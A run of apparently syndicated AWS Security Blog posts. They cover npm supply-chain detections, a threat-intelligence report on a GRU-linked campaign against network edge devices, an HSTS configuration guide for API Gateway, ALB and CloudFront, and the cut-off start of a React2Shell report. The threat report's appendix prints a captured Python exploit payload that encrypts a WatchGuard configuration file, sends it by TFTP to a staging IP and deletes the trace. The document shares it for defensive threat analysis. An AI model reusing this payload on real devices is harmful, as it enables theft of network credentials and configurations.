Late October and into early November, the techniques developed by the Amazon Inspector team that had been refined in the previous incidents detected a spike in compromised npm packages. The system discovered a renewed push to compromise the Tea tokens used to help recognize work done in the open-source community.

The team discovered 150,000 compromised packages during the threat actor’s campaign. At each detection, the team was able to automatically register the malicious package with the OpenSSF malicious package registry within 30 minutes. This rapid response not only protected customers using Amazon Inspector, but by sharing these results with the community, other teams and tools could protect their environments as well.

Every time that AWS Security teams identified a detection, we learned something new and we were able to incorporate this into our incident response process and further enhance our detections. The unique target of this campaign—tea[.]xyz tokens—provided another vector to refine the detections and protections various AWS Security teams had in place.

And, as we were finalizing this post (December 2025), we encountered another wave of activity seemingly targeting npm packages—nearly 1,000 suspicious packages detected in the npm registry over the course of a week. This wave, referred to as “elf-“, was engineered to steal sensitive system data and authentication credentials. Our automated defense mechanisms swiftly identified these packages and reported them to the OpenSSF.

How you can protect your organization

In this post, we’ve described how we learn from our incident response process and how the recent supply chain campaigns targeting the npm registry have helped us improve our internal systems and the products our customers use to fulfill their responsibilities in the Shared Responsibility Model. While each customer’s scale and systems will differ, we recommend incorporating the AWS Well-Architected Framework and the AWS Security Incident Response Technical Guide into your organization’s operations, and adopting the following strategy to enhance the resilience of your organization against these types of attacks:

  1. Implement continuous monitoring and enhanced detections to identify unusual patterns, enabling early threat detection. Periodically audit security tooling detection coverage by comparing results against multiple authoritative sources. AWS Services like AWS Security Hub provide a comprehensive view of the cloud environment, security findings and compliance checks enabling organizations to respond at scale and Amazon Inspector can assist with continuous monitoring of the software supply chain.
  2. Adopt layered protection, including automated vulnerability scanning and management (e.g. Amazon GuardDuty and Amazon Inspector) behavioral monitoring for anomalous package behavior (e.g. Amazon Cloudwatch and AWS Cloudtrail), credential management (Security best practices in IAM), and network controls to prevent data exfiltration (AWS Network Firewall).
  3. Maintain a comprehensive inventory of all open-source dependencies, including transitive dependencies and deployment locations, enabling rapid response when threats are identified. AWS services like Amazon Elastic Container Registry (ECR) can assist with automatic container scanning to identify vulnerabilities, and AWS Systems Manager [1] [2] can be configured to meet security and compliance objectives.
  4. Report suspicious packages to maintainers, share threat intelligence with industry groups, and participate in initiatives that strengthen collective defense. See our AWS Security Bulletins page for more information about recent security bulletins posted. Partnerships and contributing to the global security community matters.
  5. Implement proactive research, comprehensive investigation, and coordinated response (e.g. AWS Security Incident Response), which use a combination of security tooling, subject matter experts, and practiced response procedures.

Supply chain attacks continue to evolve in sophistication and scale, as demonstrated by examples mentioned in this post. These campaigns share common patterns – exploiting trust relationships within the open-source network, operating at massive scale, credential harvesting and unauthorized secrets access, and using enhanced techniques to evade traditional security controls.

The lessons learned from these events underscore the critical importance of implementing layered security controls, maintaining continuous monitoring, and participating in collaborative defense efforts. As these threats continue to evolve, AWS continues to provide customers with on-going protection through our comprehensive security approach. We are committed to continuous learning to help improve our work, to help our customers, and help the security community.

Contributors to this post: Mark Nunnikhoven, Catherine Watkins, Tam Ngo, Anna Brinkmann, Christine DeFazio, Chris Warfield, David Oxley, Logan Bair, Patrick Collard, Chun Feng, San Srinivas Vemula, Jorge Rodriguez, and Hari Nagarajan


If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Nikki Pahliney
Nikki Pahliney

Nikki is the AWS Security Messaging Manager, heading up a team of security messaging specialists involved in curating security communications for our external customers, managing the AWS Security Blog and aws.amazon.com/security web content. Her experience spans across IT security and security messaging, operational process redesign, technical program management, financial modeling, business management, and recruitment.
David Magnotti
David Magnotti

David Magnotti is a Principal Security Engineer in Amazon Threat Intelligence, where he helps design and operate the investigative programs that underpin Amazon’s cyber threat intelligence capabilities. His work focuses on analyzing cyber threat activity, including state-sponsored and sophisticated criminal activity, translating relevant findings into actionable protections across Amazon and AWS.
Jeff Laskowski
Jeff Laskowski

Jeff is a seasoned cybersecurity and IT executive with over 30 years of experience in enterprise transformation and strategic innovation. Currently serving as a Senior Manager at AWS, he focuses on global corporate cybersecurity response. His distinguished career includes leading high-profile cyber incident investigations, directing cyber attack recoveries, and driving strategic initiatives. A Computer Science graduate from Old Dominion University and based in Herndon, Virginia, Jeff’s expertise spans software development, enterprise architecture and secure IT environments.
Ryan Tick
Ryan Tick

Ryan is a Senior Security Engineer at AWS focused on threat detection and incident response at scale. Before AWS, he worked as a consultant helping customers prevent, prepare, and respond to potential security events in AWS. Outside of work, Ryan enjoys spending time with his family, cheering on the Notre Dame Fighting Irish football team, and traveling.
Charlie Bacon
Charlie Bacon

Charlie is Head of Security Engineering and Research for Amazon Inspector at AWS. He leads the teams behind the vulnerability scanning and inventory collection services which power Amazon Inspector and other Amazon Security vulnerability management tools. Before joining AWS, he spent two decades in the financial and security industries where he held senior roles in both research and product development.
Chi Tran
Chi Tran

Chi is a Senior Security Researcher at Amazon Web Services, specializing in open-source software supply chain security. He leads the R&D of the engine behind Amazon Inspector that detects malicious packages in open-source software. As an Amazon Inspector SME, Chi provides technical guidance to customers on complex security implementations and advanced use cases. His expertise spans cloud security, vulnerability research, and application security. Chi holds industry certifications including OSCP, OSCE, OSWE, and GPEN, has discovered multiple CVEs, and holds pending patents in open-source security innovation.
Dan Dutrow
Dan Dutrow

Dan is an AWS Security Software Development Manager heading up Sonaris, and internal tool used by Amazon to analyze security telemetry to identify and help stop network, application, and credential abuse across AWS. He is an experienced engineering leader of multidisciplinary teams using software engineering, data science, and security analysis to solve cloud security challenges.
Stephen Goodman

Stephen Goodman

As a senior manager for Amazon active defense, Stephen leads data-driven programs to protect AWS customers and the internet from threat actors.

Albin Vattakattu

Albin Vattakattu

Albin is a senior security engineer at AWS.

Amazon Threat Intelligence identifies Russian cyber threat group targeting Western critical infrastructure

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/amazon-threat-intelligence-identifies-russian-cyber-threat-group-targeting-western-critical-infrastructure/

As we conclude 2025, Amazon Threat Intelligence is sharing insights about a years-long Russian state-sponsored campaign that represents a significant evolution in critical infrastructure targeting: a tactical pivot where what appear to be misconfigured customer network edge devices became the primary initial access vector, while vulnerability exploitation activity declined. This tactical adaptation enables the same operational outcomes, credential harvesting, and lateral movement into victim organizations’ online services and infrastructure, while reducing the actor’s exposure and resource expenditure.

Going into 2026, organizations must prioritize securing their network edge devices and monitoring for credential replay attacks to defend against this persistent threat. Based on infrastructure overlaps with known Sandworm (also known as APT44 and Seashell Blizzard) operations observed in Amazon’s telemetry and consistent targeting patterns, we assess with high confidence this activity cluster is associated with Russia’s Main Intelligence Directorate (GRU). The campaign demonstrates sustained focus on Western critical infrastructure, particularly the energy sector, with operations spanning 2021 through the present day.

Technical details

Campaign scope and targeting: Amazon Threat Intelligence observed sustained targeting of global infrastructure between 2021-2025, with particular focus on the energy sector. The campaign demonstrates a clear evolution in tactics.

Timeline:

  • 2021-2022: WatchGuard exploitation (CVE-2022-26318) detected by Amazon MadPot; misconfigured device targeting observed
  • 2022-2023: Confluence vulnerability exploitation (CVE-2021-26084, CVE-2023-22518); continued misconfigured device targeting
  • 2024: Veeam exploitation (CVE-2023-27532); continued misconfigured device targeting
  • 2025: Sustained targeting of misconfigured customer network edge device targeting; decline in N-day/zero-day exploitation activity

Primary targets:

  • Energy sector organizations across Western nations
  • Critical infrastructure providers in North America and Europe
  • Organizations with cloud-hosted network infrastructure

Commonly targeted resources:

  • Enterprise routers and routing infrastructure
  • VPN concentrators and remote access gateways
  • Network management appliances
  • Collaboration and wiki platforms
  • Cloud-based project management systems

Targeting the “low-hanging fruit” of likely misconfigured customer devices with exposed management interfaces achieves the same strategic objectives, which is persistent access to critical infrastructure networks and credential harvesting for accessing victim organizations’ online services. The threat actor’s shift in operational tempo represents a concerning evolution: while customer misconfiguration targeting has been ongoing since at least 2022, the actor maintained sustained focus on this activity in 2025 while reducing investment in zero-day and N-day exploitation. The actor accomplishes this while significantly reducing the risk of exposing their operations through more detectable vulnerability exploitation activity.

Credential harvesting operations

While we did not directly observe the victim organization credential extraction mechanism, multiple indicators point to packet capture and traffic analysis as the primary collection method:

  1. Temporal analysis: Time gap between device compromise and authentication attempts against victim services suggests passive collection rather than active credential theft
  2. Credential type: Use of victim organization credentials (not device credentials) for accessing online services indicates interception of user authentication traffic
  3. Known tradecraft: Sandworm operations consistently involve network traffic interception capabilities
  4. Strategic positioning: Targeting of customer network edge devices specifically positions the actor to intercept credentials in transit

Infrastructure targeting

Compromise of infrastructure hosted on AWS: Amazon’s telemetry reveals coordinated operations against customer network edge devices hosted on AWS. This was not due to a weakness in AWS; these appear to be customer misconfigured devices. Network connection analysis shows actor-controlled IP addresses establishing persistent connections to compromised EC2 instances operating customers’ network appliance software. Analysis revealed persistent connections consistent with interactive access and data retrieval across multiple affected instances.

Credential replay operations: Beyond direct victim infrastructure compromise, we observed systematic credential replay attacks against victim organizations’ online services. In observed instances, the actor compromised customer network edge devices hosted on AWS, then subsequently attempted authentication using credentials associated with the victim organization’s domain against their online services. While these specific attempts were unsuccessful, the pattern of device compromise followed by authentication attempts using victim credentials supports our assessment that the actor harvests credentials from compromised customer network infrastructure for replay against target organizations’ online services. Actor infrastructure accessed victims’ authentication endpoints for multiple organizations across critical sectors through 2025, including:

  • Energy sector: Electric utility organizations, energy providers, and managed security service providers specializing in energy sector clients
  • Technology/cloud services: Collaboration platforms, source code repositories
  • Telecommunications: Telecom providers across multiple regions

Geographic distribution: The targeting demonstrates global reach:

  • North America
  • Europe (Western and Eastern)
  • Middle East
  • The targeting demonstrates sustained focus on the energy sector supply chain, including both direct operators and third-party service providers with access to critical infrastructure networks.

    Campaign flow:

  1. Compromise customer network edge device hosted on AWS.
  2. Leverage native packet capture capability.
  3. Harvest credentials from intercepted traffic.
  4. Replay credentials against victim organizations’ online services and infrastructure.
  5. Establish persistent access for lateral movement.

Infrastructure overlap with “Curly COMrades”

Amazon Threat Intelligence identified threat actor infrastructure overlap with group Bitdefender tracks as “Curly COMrades.” We assess these may represent complementary operations within a broader GRU campaign:

  • Bitdefender’s reporting: Post-compromise host-based tradecraft (Hyper-V abuse for EDR evasion, custom implants CurlyShell/CurlCat)
  • Amazon’s telemetry: Initial access vectors and cloud pivot methodology

This potential operational division, where one cluster focuses on network access and initial compromise while another handles host-based persistence and evasion, aligns with GRU operational patterns of specialized subclusters supporting broader campaign objectives.

Amazon’s response and disruption

Amazon remains committed to helping protect customers and the broader internet ecosystem by actively investigating and disrupting sophisticated threat actors.

Immediate response actions:

  • Identified and notified affected customers of compromised network appliance resources
  • Enabled immediate remediation of compromised EC2 instances
  • Shared intelligence with industry partners and affected vendors
  • Reported observations to network appliance vendors to help support security investigations

Disruption impact: Through coordinated efforts, since our discovery of this activity, we have disrupted active threat actor operations and reduced the attack surface available to this threat activity subcluster. We will continue working with the security community to share intelligence and collectively defend against state-sponsored threats targeting critical infrastructure.

Defending your organization

Immediate priority actions for 2026

Organizations should proactively monitor for evidence of this activity pattern:

1. Network edge device audit

  • Audit all network edge devices for unexpected packet capture files or utilities.
  • Review device configurations for exposed management interfaces.
  • Implement network segmentation to isolate management interfaces.
  • Enforce strong authentication (eliminate default credentials, implement MFA).

2. Credential replay detection

  • Review authentication logs for credential reuse between network device management interfaces and online services.
  • Monitor for authentication attempts from unexpected geographic locations.
  • Implement anomaly detection for authentication patterns across your organization’s online services.
  • Review extended time windows following any suspected device compromise for delayed credential replay attempts.

3. Access monitoring

  • Monitor for interactive sessions to router/appliance administration portals from unexpected source IPs.
  • Examine whether network device management interfaces are inadvertently exposed to the internet.
  • Audit for plain text protocol usage (Telnet, HTTP, unencrypted SNMP) that could expose credentials.

4. IOC review
Energy sector organizations and critical infrastructure operators should prioritize reviewing access logs for authentication attempts from the IOCs listed below.

AWS-specific recommendations

For AWS environments, implement these protective measures:

Identity and access management:

  • Manage access to AWS resources and APIs using identity federation with an identity provider and IAM roles whenever possible.
  • For more information, see Creating IAM policies in the IAM User Guide.

Network security:

  • Implement the least permissive rules for your security groups.
  • Isolate management interfaces in private subnets with bastion host access.
  • Enable VPC Flow Logs for network traffic analysis.

Vulnerability management:

  • Use Amazon Inspector to automatically discover and scan Amazon EC2 instances for software vulnerabilities and unintended network exposure.
  • For more information, see the Amazon Inspector User Guide.
  • Regularly patch, update, and secure the operating system and applications on your instances.

Detection and monitoring:

  • Enable AWS CloudTrail for API activity monitoring.
  • Configure Amazon GuardDuty for threat detection.
  • Review authentication logs for credential replay patterns.

Indicators of compromise (IOCs)

| IOC Value | IOC Type | First Seen | Last Seen | Annotation |
|———–|———-|————|———–|————|
| 91.99.25[.]54 | IPv4 | 2025-07-02 | Present | Compromised legitimate server used to proxy threat actor traffic |
| 185.66.141[.]145 | IPv4 | 2025-01-10 | 2025-08-22 | Compromised legitimate server used to proxy threat actor traffic |
| 51.91.101[.]177 | IPv4 | 2024-02-01 | 2024-08-28 | Compromised legitimate server used to proxy threat actor traffic |
| 212.47.226[.]64 | IPv4 | 2024-10-10 | 2024-11-06 | Compromised legitimate server used to proxy threat actor traffic |
| 213.152.3[.]110 | IPv4 | 2023-05-31 | 2024-09-23 | Compromised legitimate server used to proxy threat actor traffic |
| 145.239.195[.]220 | IPv4 | 2021-08-12 | 2023-05-29 | Compromised legitimate server used to proxy threat actor traffic |
| 103.11.190[.]99 | IPv4 | 2021-10-21 | 2023-04-02 | Compromised legitimate staging server used to exfiltrate WatchGuard configuration files |
| 217.153.191[.]190 | IPv4 | 2023-06-10 | 2025-12-08 | Long-term infrastructure used for reconnaissance and targeting |

Note: All identified IPs are compromised legitimate servers that may serve multiple purposes for the actor or continue legitimate operations. Organizations should investigate context around any matches rather than automatically blocking. We observed these IPs specifically accessing router management interfaces and attempting authentication to online services during the timeframes listed.

Technical appendix: CVE-2022-26318 Exploit payload

The following payload was captured by Amazon MadPot during the 2022 WatchGuard exploitation campaign:

from cryptography.fernet import Fernet
import subprocess
import os

key = ‘uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk='

with open('/etc/wg/config.xml’, ‘rb’) as config_file:
buf = config_file.read()

fernet = Fernet(key)
enc_buf = fernet.encrypt(buf)

with open('/tmp/enc_config.xml’, ‘wb’) as encrypted_config:
encrypted_config.write(enc_buf)

subprocess.check_output([‘tftp’, '-p’, '-l’, '/tmp/enc_config.xml’, '-r’,
'[REDACTED].bin’, ‘103.11.190[.]99'])
os.remove('/tmp/enc_config.xml’)

This payload demonstrates the actor’s methodology: encrypt stolen configuration data, exfiltrate via TFTP to compromised staging infrastructure, and remove forensic evidence.


If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

CJ Moses

CJ Moses

CJ Moses is the CISO of Amazon Integrated Security. In his role, CJ leads security engineering and operations across Amazon. His mission is to enable Amazon businesses by making the benefits of security the path of least resistance. CJ joined Amazon in December 2007, holding various roles including Consumer CISO, and most recently AWS CISO, before becoming CISO of Amazon Integrated Security September of 2023.

Prior to joining Amazon, CJ led the technical analysis of computer and network intrusion efforts at the Federal Bureau of Investigation’s Cyber Division. CJ also served as a Special Agent with the Air Force Office of Special Investigations (AFOSI). CJ led several computer intrusion investigations seen as foundational to the security industry today.

CJ holds degrees in Computer Science and Criminal Justice, and is an active SRO GT America GT2 race car driver.

Implementing HTTP Strict Transport Security (HSTS) across AWS services

Post Syndicated from Abhishek Avinash Agawane original https://aws.amazon.com/blogs/security/implementing-http-strict-transport-security-hsts-across-aws-services/

Modern web applications built on Amazon Web Services (AWS) often span multiple services to deliver scalable, performant solutions. However, customers encounter challenges when implementing a cohesive HTTP Strict Transport Security (HSTS) strategy across these distributed architectures.

Customers face fragmented security implementation challenges because different AWS services require distinct approaches to HSTS configuration, leading to inconsistent security postures.Applications using Amazon API Gateway for APIs, Amazon CloudFront for content delivery, and Application load balancers for web traffic lack unified HSTS policies, leading to complex multi-service environments. Security scanners flag missing HSTS headers, but remediation guidance is scattered across service-specific documentation, causing security compliance gaps.

HSTS is a web security policy mechanism that protects websites against protocol downgrade attacks and cookie hijacking. When properly implemented, HSTS instructs browsers to interact with applications exclusively through HTTPS connections, providing critical protection against man-in-the-middle issues.

This post provides a comprehensive approach to implementing HSTS across key AWS services that form the foundation of modern cloud applications:

  1. Amazon API Gateway: Secure REST and HTTP APIs with centralized header management
  2. Application Load Balancer: Infrastructure-level HSTS enforcement for web applications
  3. Amazon CloudFront: Edge-based security header delivery for global content

By following the implementation steps in this post, you can establish a unified HSTS strategy that aligns with AWS Well-Architected Framework security principles while maintaining optimal application performance.

Understanding HSTS security and its benefits

HTTP Strict Transport Security is a web security policy mechanism that helps protect websites against protocol downgrade attacks and cookie hijacking. When a web server declares HSTS policy through the Strict-Transport-Security header, compliant browsers automatically convert HTTP requests to HTTPS for the specified domain. This enforcement occurs at the browser level, providing protection even before the initial request reaches your infrastructure.

HSTS enforcement applies specifically to web browser clients. Most programmatic clients (such as SDKs, command line tools, or application-to-application communication) don’t enforce HSTS policies. For comprehensive security, configure your applications and infrastructure to only use HTTPS connections regardless of client type rather than relying solely on HSTS for protocol enforcement.

HTTP to HTTPS redirection enforcement on the server ensures future requests reach your applications over encrypted connections. However, it leaves a security gap during the initial browser request. Understanding this gap helps explain why client-side HSTS serves as an essential security layer in modern web applications.

For example, when users access web applications, the typical flow with redirects configured is as follows:

  1. User enters example.com in their browser.
  2. Browser sends an HTTP request to http://example.com.
  3. Server responds with HTTP 301/302 redirect to https://example.com.
  4. Browser follows redirection and establishes HTTPS connection

The initial HTTP request in step 2 creates an opportunity for protocol downgrade issues. An unauthorized party positioned between the user and your infrastructure can intercept this request and respond with content that appears legitimate while maintaining an insecure connection. This technique, known as SSL stripping, can occur even when your server-side AWS infrastructure is properly configured with HTTPS redirects.

HSTS addresses this security gap by moving security enforcement to the browser level. After a browser receives an HSTS policy, it automatically converts HTTP requests to HTTPS before sending them over the network:

  1. User enters example.com in browser.
  2. Browser automatically converts to HTTPS due to stored HSTS policy.
  3. Browser sends HTTPS request directly to https://example.com.
  4. No initial HTTP request removes the opportunity for interception.

This browser-level enforcement provides protection that complements your AWS infrastructure security configurations, creating defense in depth against protocol downgrade issues.

Although current browsers warn about insecure connections, HSTS provides programmatic enforcement. This prevents unauthorized parties from exploiting the security gap because they can’t forge valid HTTPS certificates for protected domains.

The security benefits of HSTS extend beyond simple protocol enforcement. HSTS helps prevent protocol downgrade issues after HSTS policy is established in the browser. It mitigates against man-in-the-middle issues, preventing unauthorized parties from intercepting communications. It also helps prevent unauthorized session access to protect against credential theft and unintended session access.
HSTS requires HTTPS connections and removes the option to bypass certificate warnings.

This post focuses exclusively on implementing the HTTP Strict-Transport-Security header. Although the examples include additional security headers for completeness, detailed configuration of those headers is beyond the scope of this post.

Key use cases for HSTS implementation

HSTS protects scenarios that HTTP redirects miss. For example, when legacy systems serve mixed content, or when SSO flows redirect users between providers, HSTS keeps connections encrypted throughout.

Applications serving both modern HTTPS content and legacy HTTP resources face protocol downgrade risks. When users access example.com/app that loads resources from legacy.example.com, HSTS prevents browsers from making initial HTTP requests to any subdomain, eliminating the vulnerability window during resource loading.

SSO implementations redirecting users between identity providers and applications create multiple HTTP request opportunities. Due to HSTS, authentication tokens and session data remain encrypted throughout the entire SSO flow, preventing credential interception during provider redirects.

Microservices architectures using API Gateway often involve service-to-service communication and client redirects. HSTS protects API endpoints from protocol downgrade during initial client connections, which means that API keys and authentication headers are not transmitted over HTTP.

Applications using CloudFront with multiple origin servers face security challenges when origins change or fail over. HSTS prevents browsers from falling back to HTTP when accessing cached content or during origin failover scenarios, maintaining encryption even during infrastructure changes.

From an AWS Well-Architected perspective, implementing HSTS demonstrates adherence to the defense in depth principle by adding an additional layer of security at the application protocol level. This approach complements other AWS security services and features, creating a comprehensive security posture that helps to protect data both in transit and at rest.

Implementing HSTS with Amazon API Gateway

Amazon API Gateway lacks built-in features to enable HSTS for the API resources. There are several different ways to configure HSTS headers in HTTP APIs and REST APIs.
For HTTP APIs, you can configure response parameter mapping to set HSTS headers when it’s invoked using a default endpoint or custom domain.

To configure response parameter mapping:

  1. Navigate to your desired HTTP API’s route configuration in the AWS API Gateway console
  2. Access the route’s integration settings under Manage integrations tab.
Figure 1: Integration settings of the HTTP Api

Figure 1: Integration settings of the HTTP Api

  1. To configure parameter mapping, under Response key, enter 200.
  2. Under Modification type, select Append in the dropdown menu.
  3. Under “Parameter to modify”, enter header.Strict-Transport-Security
  4. Under Value, enter max-age=31536000; includeSubDomains; preload.
Figure 2: Parameter Mapping for the HTTP Api integration

Figure 2: Parameter Mapping for the HTTP Api integration

REST APIs in Amazon API Gateway offer more granular control over HSTS implementation through both proxy and non-proxy integration patterns.

For proxy integrations, the backend service assumes responsibility for HSTS header generation. For example, an AWS Lambda proxy integration must return the HSTS headers in its response as shown in the following code example:

import json 
def lambda_handler(event, context):     
	return {         
        'statusCode': 200,         
        'headers': {             
            'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload'         
        },         
        'body': json.dumps('Secure response with HSTS headers')     
    }

For non-proxy integrations, the HSTS headers must be returned by the Rest API by implementing one of two methods, either mapping templates or method response.

In the mapping templates method, the mapping template is used to configure the HSTS headers. The Velocity Template Language (VTL) for the mapping template is used for dynamic header generation. To implement this method:

  1. Navigate to the desired REST API and click on the method for the desired resource.
  2. Under the ‘Integration response’ tab, use the following mapping template to set the response headers:
$input.json("$") 
#set($newValue = "$input.params().header.get('Host')") 
#set($context.responseOverride.header.Strict-Transport-Security 
= "max-age=31536000; includeSubDomains; preload")

Figure 3: Adding mapping template to integration response of the Rest Api

Figure 3: Adding mapping template to integration response of the Rest Api

The ‘Method response’ tab provides declarative configuration through explicit header mapping in the configuration. To implement this method:

  1. Navigate to your desired REST API and select the method for the desired resource.
  2. Choose Method response and under Header name, add the HSTS header strict-transport-security.
Figure 4: Method response of the Rest Api

Figure 4: Method response of the Rest Api

3. Choose Integration response and under Header mappings, enter the HSTS header strict-transport-security. Add the Mapping value for the header as max-age=31536000; includeSubDomains; preload.

Figure 5: Integration response of the Rest Api

Figure 5: Integration response of the Rest Api

To test and validate, use the following command:

Verify HSTS implementation for both HTTP API and REST API using curl with response headers logged:

curl -i https://your-api-gateway-url.execute-
api.region.amazonaws.com/stage/resource

The expected response should include:

HTTP/2 200 

date: Tue, 20 Sep 2025 16:34:35 GMT 
content-type: application/json 
content-length: 3 
x-amzn-requestid: 76543210-9aaa-4bbb-accc-987654321012
strict-transport-security: max-age=31536000; includeSubDomains; preload 
x-amz-apigw-id: ABCDEFGHIJKLMNO

Implementing HSTS with AWS Application Load Balancers

Application Load Balancers now provide built-in support for HTTP response header modification, including HSTS headers. This lets you enforce consistent security policies across all your services from a single point, reducing development effort and ensuring uniform protection regardless of which backend technologies you’re using.

Prerequisites and infrastructure requirements

Before implementing HSTS with load balancers, ensure your infrastructure meets these requirements:

  • Functional HTTPS listener – The ALB listener must be configured with HTTPS correctly.
  • Valid certificates – The ALB listener must have proper TLS certificate chain in AWS Certificate Manager and validation.
  • Application Load Balancer – The header modification feature for the ALB must be enabled for the listener since it is turned off by default.

Configuration

Application Load Balancers support direct HSTS header injection through the response header modification feature. This approach provides centralized security policy enforcement without requiring individual application configuration.

To enable HTTP header modification for your Application Load Balancer:

  1. Open the Amazon Elastic Compute Cloud (Amazon EC2) console and navigate to Load Balancers.
  2. Select your Application Load Balancer.
  3. On the Listeners and rules tab, select the HTTPS listener.
  4. On the Attributes tab, choose Edit.
    Figure 6: ALB HTTPS listener Attributes configuration

    Figure 6: ALB HTTPS listener Attributes configuration

  5. Expand the Add response headers section.
  6. Select Add HTTP Strict Transport Security (HSTS) header.
  7. To configure the header value, enter max-age=31536000; includeSubDomains; preload.
  8. Choose Save changes.
Figure 7: Add response headers in attributes configuration of the ALB HTTPS listener

Figure 7: Add response headers in attributes configuration of the ALB HTTPS listener

Header modification behavior

When ALB header modification is enabled:

  • Header addition – If the backend response doesn’t include the specified header, ALB adds it with the configured value
  • Header override – If the backend response includes the header, ALB replaces the existing value with the configured value
  • Centralized control – Responses from the load balancer include the configured security headers, ensuring consistent policy enforcement

To test and validate, use the following command:
curl -I https://my-loadbalancer-1234567890.us-west-2.elb.amazonaws.com

The following code example shows the expected response headers:

HTTP/2 200
date: Tue, 23 Sep 2025 16:34:35 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload

Header value constraints:

  • Maximum header value size – 1 KB
  • Supported characters – Alphanumeric (a-z, A-Z, 0-9) and special characters (_ :;.,/’?!(){}[]@<>=-+*#&`|~^%)
  • Empty values revert to default behavior (no header modification)

When implementing header modifications, there are several operational considerations to keep in mind. Header modification must be explicitly enabled on each listener where you want the functionality to work. Once enabled, any changes you configure will apply to all responses that come from the load balancer, affecting every request processed through that listener. Application Load Balancer performs basic input validation on the headers you configure, but it has limited capability for header-specific validation, so you should ensure your header configurations follow proper formatting and standards.

This built-in Application Load Balancer capability significantly simplifies HSTS implementation by eliminating the need for backend application modifications while providing centralized security policy enforcement across your entire application infrastructure.

Implementing HSTS with Amazon CloudFront

Amazon CloudFront provides built-in support for HTTP security headers, including HSTS, through response headers policies. This feature enables centralized security header management at the CDN edge, providing consistent policy enforcement across cached and non-cached content.

Response headers policy configuration

You can use the CloudFront response headers policy feature to configure security headers that are automatically added to responses served by your distribution. You can use managed response headers policies that include predefined values for the most common HTTP security headers. Or, you can create a custom response header policy with custom security headers and values that you can add to the required CloudFront behavior.

To configure security headers:

  1. On the CloudFront console, navigate to Policies and then Response headers.
  2. Choose Create response headers policy.
  3. Configure policy settings:
    • Name – HSTS-Security-Policy
    • Description – HSTS and security headers for web applications
  4. Under Security headers, configure:
    • Strict Transport Security – Select
    • Max age – 31,536,000 seconds (1 year)
    • Preload – Select (optional)
    • IncludeSubDomains – Select (optional)
  5. Add additional security headers:

    • X-Content-Type-Options
    • X-Frame-Options – Select Origin as “SAMEORIGIN”
    • Referrer-Policy – Select “strict-origin-when-cross-origin”
    • X-XSS-Protection – Select “Enabled”, Tick “Block”
    • Choose Create.
Figure 8: Configuring response header policy for the Cloudfront distribution

Figure 8: Configuring response header policy for the Cloudfront distribution

To attach the policy to the distribution:

  1. Navigate to your CloudFront distribution.
  2. Select the Behaviors tab.
  3. Edit the default behavior (or create a new one).
  4. Under Response headers policy, select your created policy.
  5. Choose Save changes.
Figure 9: Selecting the response headers policy

Figure 9: Selecting the response headers policy

Header override behavior:
CloudFront response headers policies provide origin override functionality that controls how headers are managed between the origin and CloudFront. When origin override is enabled, CloudFront will replace existing headers that come from the origin server. Conversely, when origin override is disabled, CloudFront will only add the policy-defined headers if those same headers are not already present in the origin response, preserving the original headers from the source.

To test and validate, use the following command:

curl -I https://your-cloudfront-domain.cloudfront.net

The following code example shows the expected response headers:

HTTP/2 200 
date: Tue, 23 Sep 2025 16:34:35 GMT 
strict-transport-security: max-age=31536000; includeSubDomains; preload 
x-content-type-options: nosniff 
x-frame-options: SAMEORIGIN 
referrer-policy: strict-origin-when-cross-origin 
x-xss-protection: 1; mode=block 
x-cache: Hit from cloudfront

Using CloudFront has several advantages. It offers consistent header application across all content types and centralized security policy management. Edge-level enforcement reduces latency, and no origin server modifications are required. AWS edge locations offer global policy distribution.

Security considerations and best practices

Implementing HSTS requires careful consideration of several security implications and operational requirements.

The max-age directive determines how long browsers will enforce HTTPS-only access. The duration guidelines are as follows:

  • 300 seconds (5 minutes) – Safe for experimentation during initial testing phase.
  • 86,400 seconds (1 day) – For short-term commitment such as development environments.
  • 259,2000 seconds (30 days) – For medium-term validation such as staging environments.
  • 31,536,000 seconds (1 year) – For long-term commitment such as production environments.

We recommend that you start with shorter max-age values during initial implementation and gradually increase them as you gain confidence in your HTTPS infrastructure stability.

The includeSubDomains directive extends HSTS enforcement to all subdomains. It offers several benefits, including comprehensive protection across the entire domain hierarchy, prevention of subdomain-based attacks, and simplified security policy management.

Requirements for using this directive include:

  • Subdomains should support HTTPS to use this directive effectively.
  • Subdomains should have valid SSL certificates.
  • You must maintain a consistent security policy across domain hierarchy.

Consider implementing HSTS preloading for maximum security coverage:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Preloading benefits include protection for first-time visitors, browser-level enforcement before network requests, and maximizing security coverage.

The following are some preloading considerations:

  • It requires submission to browser preload lists.
  • It’s difficult to reverse because removal takes months.
  • It requires long-term commitment to HTTPS infrastructure.

For more information, see:

Conclusion

Implementing HSTS across AWS services provides a robust foundation for securing web applications against protocol downgrade attacks and enabling encrypted communications. By using the built-in capabilities of API Gateway, CloudFront, and Application Load Balancers, organizations can create comprehensive security policies that align with AWS Well-Architected Framework principles.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Abhishek Avinash Agawane
Abhishek Avinash Agawane

Abhishek is a Security Consultant at Amazon Web Services with more than 8 years of industry experience. He helps organizations architect resilient, secure, and efficient cloud environments, guiding them through complex challenges and large-scale infrastructure transformations. He has helped numerous organizations enhance their cloud operations through targeted optimizations, robust architectures, and best-practice implementations.

China-nexus cyber threat groups rapidly exploit React2Shell vulnerability (CVE-2025-55182)

Post Syndicated from CJ Moses original https://aws.amazon.com/blogs/security/china-nexus-cyber-threat-groups-rapidly-exploit-react2shell-vulnerability-cve-2025-55182/

Within hours of the public disclosure of CVE-2025-55182 (React2Shell) on December 3, 2025, Amazon threat intelligence teams observed active exploitation attempts by multiple China state-nexus threat groups, including Earth Lamia and Jackpot Panda. This critical vulnerability in React Server Components has a maximum Common Vulnerability Scoring System (CVSS) score of 10.0 and affects React versions 19.x and Next.js versions 15.x and 16.x when using App Router. While this vulnerability doesn’t affect AWS services, we are sharing this threat intelligence to help customers running React or Next.js applications in their own environments take immediate action.

